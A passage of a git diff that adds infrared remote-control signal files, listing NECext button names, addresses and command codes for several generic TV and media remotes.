+# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir new file mode 100644 index 000000000..b5ed8696c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: FastRew +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir new file mode 100644 index 000000000..26e4af9e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 09 00 00 00 +# +name: VOLRIGHT +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 0A 00 00 00 +# +name: VOLLEFT +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 1E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 42 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 43 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 44 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 45 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 46 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 4A 00 00 00 +# +name: CHDWN +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 4B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 4F 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 52 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: A6 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir new file mode 100644 index 000000000..0e868f51e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: I/II +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: ch\*p/c +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: tv/av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir new file mode 100644 index 000000000..392c1cfbb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 24 00 00 00 +# +name: Switch +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 26 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2B 00 00 00 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: Okay +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: Blank +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 39 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir new file mode 100644 index 000000000..9d0d87ca6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: p/c +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: memo +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: backto +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: KEY_3next +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: bash +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 +# +name: a- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: a+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5C 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 68 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6C 00 00 00 +# +name: b+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6E 00 00 00 +# +name: b- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6F 00 00 00 +# +name: c+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: c- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 +# +name: pr +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 78 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir new file mode 100644 index 000000000..060c1fb44 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 60 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 61 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 62 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir new file mode 100644 index 000000000..1502308fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: COL- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: COL+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: BRGT- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: BRGT+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: CNTR- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: CNTR+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: ChPC +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: Pr +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: USR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: Memo +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: DEFAULT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: JFWD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: JREV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: KEY_3PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir new file mode 100644 index 000000000..1211e8a6c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 